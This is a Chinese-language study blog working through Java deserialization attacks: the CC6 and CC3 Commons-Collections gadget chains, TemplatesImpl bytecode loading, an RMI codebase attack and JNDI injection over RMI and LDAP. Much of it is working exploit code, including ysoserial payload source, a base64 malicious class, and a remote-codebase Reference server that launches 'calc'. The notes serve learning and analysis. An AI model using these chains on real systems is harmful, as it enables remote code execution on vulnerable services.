CC6、CC3、RMI简单入门、JNDI入门 (之后先去学一下fastjson反序列化

CC6

为了解决CC1在高版本jdk中不适用的局限,我们来审计一下没有版本限制的CC6

这次就先不跟着P神了!

ysoserial的Gadget chain

1
2
3
4
5
6
7
8
9
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
···

ysoserial poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {

public Serializable getObject(final String command) throws Exception {

final String[] execArgs = new String[] { command };

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();
// 得到被LazyMap装饰的恶意Map
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// 将lazyMap传给TiedMapEntry 为了后续调用LazyMap.get
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");// key = "foo"

// 实例化一个HashMap
HashSet map = new HashSet(1); // new HashMap(1)
// 增加一个key 且指向的value为null
map.add("foo"); // HashMap.put("foo",new Object()) key = "foo" >> key.hashCode

Field f = null;
try {
f = HashSet.class.getDeclaredField("map"); // f = (HashMap)map
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map); // key = map,key.hashCode()

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table"); // f2 = HashMap.table
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){ // HashMap "foo"
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

// 将TiedMapEntry set到HashSet中
Reflections.setAccessible(keyField);
keyField.set(node, entry); //

// 将HashSet当作对象序列化 在反序列化的时候调用HashSet的readObject
return map;

}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections6.class, args);
}
}

利用到了新的类TiedMapEntry,那就先去浅浅了解一下

TiedMapEntry

1
2
3
4
5
6
// TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

public TiedMapEntry(Map map, Object key) {
this.map = map; // 在构造方法中将我们的LazyMap传进去
this.key = key;
}
1
2
3
public Object getValue() {
return this.map.get(this.key); // 调用LazyMap.get()方法
}
1
2
3
4
public int hashCode() {
Object value = this.getValue(); // 调用getValue触发LazyMap.get()
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

所以在TiedMapEntry上面的逻辑很明显,就是外面调用TiedMapEntry#hashCode=>TiedMapEntry#getValue=>LazyMap#get

HashSet

1
2
3
public HashSet(int initialCapacity) {
map = new HashMap<>(initialCapacity); // 实例化一个HashMap类
}
1
2
3
public boolean add(E e) {
return map.put(e, PRESENT)==null; // HashMap.put >> HashMap.hash >> e.hashCode
}

然后可以发现的readObject中有(HashMap)map.put(e,PRESENT),所以我们可以将TiedMapEntry传进去,从而调用到了TiedMapEntry#hashCode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

···
···

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

P神のchain

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/

和ysoserial相比,P神把HashSet删掉了,因为在HashMapreadObject中就会直接调用hash,所以当我们把TiedMapEntry当作key传入之后也就是会直接调用TiedMapEntry.hashCode(),直接完成了这条链子

直接编写这条链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6ForP {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class
},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
new ConstantTransformer(1),

};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain); // 被LazyMap装饰的恶意Map
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "aa"); // 将恶意Map传作TiedMapEntry的map对象

Map expMap = new HashMap();
// 为了调用TiedMapEntry#hashCode 将tiedMapEntry当作key传给新的HashMap 并将expMap作为对象来序列化
expMap.put(tiedMapEntry, "bb");

outerMap.remove("aa"); // 为了防止前面put的时候也触发hashCode

// 将真正的transformers数组set进ChainedTransformer 覆盖掉前面的fakeTransformers
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,transformers);

// serialize
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(expMap);
oos.close();

// deserialize
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

小结

总的来说CC6理解起来并不难,但是ysoserial有一部分代码的作用大概能理解,但是其中具体的逻辑还没有厘清

CC3

(<8u71

照样这次先自己学着看ysoserial的payload,不懂再看P神的讲解

利用TemplatesImpl加载字节码

在仔细分析链子之前,我们先来学一下TemplatesImpl

字节码

首先学习一下字节码是什么

严格来说,java字节码其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中;总所周知,java是可以跨平台的,只要代码被编译成字节码文件(.class文件)就可以在java虚拟机中运行

ClassLoader#defineClass

  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

注意一点,在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中(在本系列文章第一篇 中进行过说明),在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目 标机器上执行任意代码,需要想办法调用构造函数。

TemplatesImpl

在利用TemplatesImpl构造攻击链的时候就会涉及到defineClass

定义了一个内部类,继承于ClassLoader,在这里还重写了defineClass,默认为default

1
2
3
4
5
6
7
8
9
10
11
12
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;

……

/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

并且在·TemplatesImpl#defineTransletClasses会存在调用,而_bytecodes又是我们可控的,而defineTransletClasses域是public,所以是可以在外部进行调用的

1
2
3
4
5
6
7
8
9
10
11
12
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); // loader 为TransletClassLoader
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

然后可以在TemplatesImpl#getTransletInstance发现对defineTransletClasses的调用,但是这个方法是private,再继续跟进调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null; // _name 不为null

if (_class == null) defineTransletClasses(); // 实现调用 defineClass

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
……
}

可以发现最开始调用的都是public

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory); // 实例化了TransformerImpl
……
}

public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

调用链:

1
2
3
4
5
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()

例子:

另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。

所以我们可以先写一个类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package TpmlDemo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class HelloTpml extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public HelloTpml() throws Exception{
super();
Runtime.getRuntime().exec("calc");
}
}

编译生成字节码文件,并将字节码传到前面我们向利用的defineClass中,再写一个调用的类

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class Define {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAJAoABwAWCgAXABgIABkKABcAGgcAGwcAHAcAHQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAeAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHABwHABsBAApTb3VyY2VGaWxlAQALSGVsbG9ULmphdmEMAA8AEAcAHwwAIAAhAQAEY2FsYwwAIgAjAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEABkhlbGxvVAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAADAAEACAAJAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAMAAwAAAAEAAEADQABAAgADgACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABAA0AAQAPABAAAQAKAAAAWAACAAIAAAASKrcAAbgAAhIDtgAEV6cABEyxAAEABAANABAABQACAAsAAAAWAAUAAAAUAAQAFwANABsAEAAZABEAHAARAAAAEAAC/wAQAAEHABIAAQcAEwAAAQAUAAAAAgAV"); // 字节码base64加密之后的字符串
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "null"); // 不为空就好 无要求
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); // defineTransletClasses方法中会存在调用 防止报错

obj.newTransformer();
}

private static void setFieldValue(TemplatesImpl obj, String bytecodes, Object o) throws Exception {
Field field = obj.getClass().getDeclaredField(bytecodes); // 因为是私有属性 用反射实现设置
field.setAccessible(true);
field.set(obj,o);
}
}

Ysoserial

基于CC1修改的CC3 主要是把InvokeTransformers换成了InstantiateTransformer

因为官方对于ysoserial出了过滤器,将InvokeTransformers放入了黑名单里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);

// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args);
}

public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
InstantiateTransformer
1
2
3
4
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}

根据链子,最后面调用的应该是transform,这里调用了某个类的构造方法,打断点调试的时候发现input的值是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

1
2
3
4
5
6
7
8
9
10
11
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs); // 会将我们传进去的Templates进行实例化
}
}
……
}
TrAXFilter

他的构造方法实现了(TransformerImpl) templates.newTransformer(),就直接实现了先调用TemplatesImpl#newTransformer,从而完成整个链子,而字节码是在Gadgets#createTemplatesImpl中形成的

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

RMI简单入门

RMI(Remote Method Invocation),远程方法调用,是Java独有的一种机制,允许运行在一个Java虚拟机的对象调用另一个Java虚拟机上对象的方法

基础

RMI和RPC类似,但RPC作为C语言的一个分支,主要关注数据结构,而RMI不仅使用数据结构,还会适用对象

在一个对象可以与RMI一起使用之前,这个对象必须是可序列化的(RMI的传输时基于反序列化的)。RMI的远程对象是通过引用传递的,而非远程对象是通过复制传递

对于任何一个以对象为参数的RMI接口,都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于服务端classpath中的可序列化类来反序列化恢复对象

三个主体:

1.Client 客户端

2.Server 服务端

3.Registry 注册中心

RMI Server分成三部分

  1. 一个继承java.rmi.Remote的接口,其中定义我们要远程调用的函数,并且每个方法必须要抛出java.rmi.RemoteException
  2. 一个实现此接口的类,通常都会扩展java.rmi.UnicastRemoteObject
  3. 一个主类,用来创建Registry,并将上面的类实例化之后绑定到一个地址

存根和骨架

用于远程对象的实现。

存根(stub)是想调用的方法的对象所代理的本地代码;

骨架(skeleton)从存根接收远程方法调用并将它们传递给对象

RMI Registry

主要流程:

RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程⽅法实际上在RMI Server上调⽤。

例子:

首先创建一个扩展了Remote的接口,并声明一个我们需要调用的方法,记得抛出RemoteException

1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RmiInterface extends Remote {
public String hello(String param) throws RemoteException;
}

创建一个实现该接口的类,并且继承了UnicastRemoteObject,重写方法,并在这里建立Registry并向注册建立远程对象,将对象实例和Registry的hello绑定在一起

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class HelloHandler extends UnicastRemoteObject implements RmiInterface {
private String hello = "Hello: ";

protected HelloHandler() throws RemoteException {
}

@Override
public String hello(String param) throws RemoteException {
return hello+param;
}

public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
RmiInterface rmiInterface = new HelloHandler();
registry.bind("hello",rmiInterface);
// Naming.bind("rmi://ip:port/hello",rmiInterface) 远程写法
// Naming.bind("hello",rmiInterface) 本地写法
}
}

客户端:通过LocateRegistry.getRegistry访问远程的registry对象,并通过lookup方法找到绑定了对象实例的skeleton,然后调用相应的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) {
try{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
RmiInterface rmiInterface = (RmiInterface) registry.lookup("hello");
String name = "Ameuu";
System.out.println(rmiInterface.hello(name));
} catch (Exception e) {
e.printStackTrace();
}
}
}

RMI安全

我们仅从客户端角度来看一下RMI:
客户端连接Registry并去寻找某个Name,从而找到其绑定的对象实例,然后去调用这个远程对象的某个方法

那么:

  1. 如果我们能访问RMI Registry服务,如何对其攻击?
  2. 如果我们控制了目标RMI客户端中 Naming.lookup 的第一个参数(也就是RMI Registry的地 址),能不能进行攻击?
攻击Registry

Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法。

但是可以通过list获取目标上绑定的所有对象、通过lookup获取某个对象

BaRMIe

codebase执行任意代码

codebase是一个地址,在RMI流程中,客户端和服务端直接传递的是序列化的对象,在反序列化的时候会去找相应的类进行实例化,而如果在本地找不到的时候机会自动去codebase里面找,而相应的就产生了问题,如果codebase是我们可以利用的,那么有可能可以加载恶意类

条件:

  • 安装并配置了SecurityManager
  • Java版本低于7u21、6u45,或者设置了java.rmi.useCodebaseOnly=false,因为在java7u21、6u45的时候修改默认设置java.rmi.useCodebaseOnly=true,这使得java虚拟机只信任预先配置好的codebase,不再支持从RMI请求中获取

例子(代码来自P神:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}
// Calc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}
// RemoteRMIServer.java
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}

// client.policy
grant {
permission java.security.AllPermission;
};

编译并配置参数:

1
2
javac *.java
java -D java.rmi.server.hostname=192.168.64.1 -D java.rmi.server.useCodebaseOnly=false -D java.security.policy=client.policy RemoteRMIServer

其中java.rmi.server.hostname为服务器的IP地址,远程调用时需要根据这个值来访问RMI Server。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// RMIClient.java
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {
public class Payload extends ArrayList<Integer> {}
public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://192.168.135.142:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}

public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}

运行:

1
2
java -D java.rmi.server.useCodebaseOnly=false -
D java.rmi.server.codebase=http://example.com/RMIClient

在最开始就报错了 所以复现就先搁置了 不过这个代码执行的方法条件比较苛刻 也不常用(大概

JNDI入门

JNDI(Java Naming and Directory Interface),是SUN公司提供的⼀种标准的Java命名系统接⼝。为开发⼈员提供了查找和访问各种命名和⽬录服务的通⽤、统⼀的接⼝,类似JDBC都是构建在抽象层上。 现在JNDI已经成为J2EE的标准之⼀,所有的J2EE容器都必须提供⼀个JNDI的服务。

通过返回Reference和调用lookup获得相应的数据源。

img

Naming Service

命名服务,将名称与值相关联的实体,称为“绑定”。提供了一种使用“find”或“search”操作来根据名称查找对象的便捷方式,就比如上面学RMI的时候根据Name去获取对应的对象

Directory Service

一种特殊的命名服务,允许存储了搜索“目录对象”

使用JNDI必须要有服务提供方

一些服务接口:

  • LDAP 轻量级目录访问协议
  • CORBA 公共对象请求代理结构服务
  • RMI 远程方法调用
  • DNS 域名服务

在JNDI注入中涉及最多的是LDAP、RMI

RMI

工厂模式

会利用到codebase

在java7u21、6u45、8u113 的时候修改默认设置java.rmi.useCodebaseOnly=true

环境:jdk8u112

Reference

存储类名,工厂名以及加载工厂的未知,都可以通过对应的get获取

1
2
3
4
5
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
ReferenceWrapper

RMI服务中实现了RemoteReference的类,单纯地获取Reference并返回Reference

1
2
3
4
5
6
7
8
public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
this.wrappee = var1;
}

public Reference getReference() throws RemoteException {
return this.wrappee;
}
}
Demo
Exploit类(恶意类

要实现ObjectFactory接口

编译之后放在http://127.0.0.1:8000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {
private String cmd;
static {
System.out.println("hello ameuu");
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

服务 Server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
public static void main(String[] args) throws Exception{
// 提供服务 注册 将对象与对应的Name进行绑定
Registry registry = LocateRegistry.createRegistry(1099);
// 实现加载该目录下的Exploit
Reference reference = new Reference("Exploit","Exploit","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}
受害者 JNDI客户端

可以通过Properties设置环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package JNDI.RMI;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Properties;

public class JNDIClient {
public static void main(String[] args) throws NamingException {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099/");

Context context = new InitialContext(env);
context.lookup("Exploit");
}
}

所以攻击流程应该是传入恶意的RMI URL给客户端,通过lookup连接到由我们控制的注册中心,获取到恶意的Reference,然后解析Reference获取相应的我们写入的恶意的Factory类从而实现rce

解析流程

调用栈:

1
2
3
4
5
6
7
8
9
getObjectFactoryFromReference:160, NamingManager
getObjectInstance:319, NamingManager
decodeObject:464, RegistryContext
……
lookup:-1, RegistryImpl_Stub
lookup:118, RegistryContext
lookup:128, RegistryContext
lookup:417, InitialContext
main:15, JNDIClient

InitialContext中已经将我们设置的变量放到了对应的变量中

img

InitialContext#lookup中会调用到defaultInitCtx#lookup,从而调用了RegistryContext#lookup,之后就是根据我们初始化的内容进入到注册中心通过RegistryImpl_Stub#lookup获取注册中心中Name所对应的对象,也就是referenceWrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { // var1 = Exploit
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1); // 进行序列化 因为RMI底层是类序列化的值的传递
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}

super.ref.invoke(var2);

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject(); // Remote
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}

return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}

之后通过RegistryContext#decodeObject

1
2
3
4
5
6
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} ……
}

img

然后在NamingManager#getObjectInstance中根据Reference获取Factory

img

这里codebase的值就成了我们传进去的带有恶意类的url

img

之后通过loadClass对类进行加载,运行了Exploit中的静态代码实现RCE

img

LDAP

使用范围更广

需要:com.sun.jndi.ldap.object.trustURLCodebase 为 true , JDK 11.0.1 、 8u191 、 7u201 、 6u211 开始默认为 false

攻击流程:

  1. 攻击者为易受攻击的JNDI lookup提供了一个绝对的LDAP URL
  2. 服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI Reference
  3. 服务器解码JNDI Reference
  4. 服务器从攻击者控制的服务器获取Factory类
  5. 服务器实例化Factory类,实现RCE

用marshalsec开一个服务,将Exploit类编译之后放到vps上,然后用python在对应的目录下开启服务

1
python3 -m http.server --bind 0.0.0.0 8000 
1
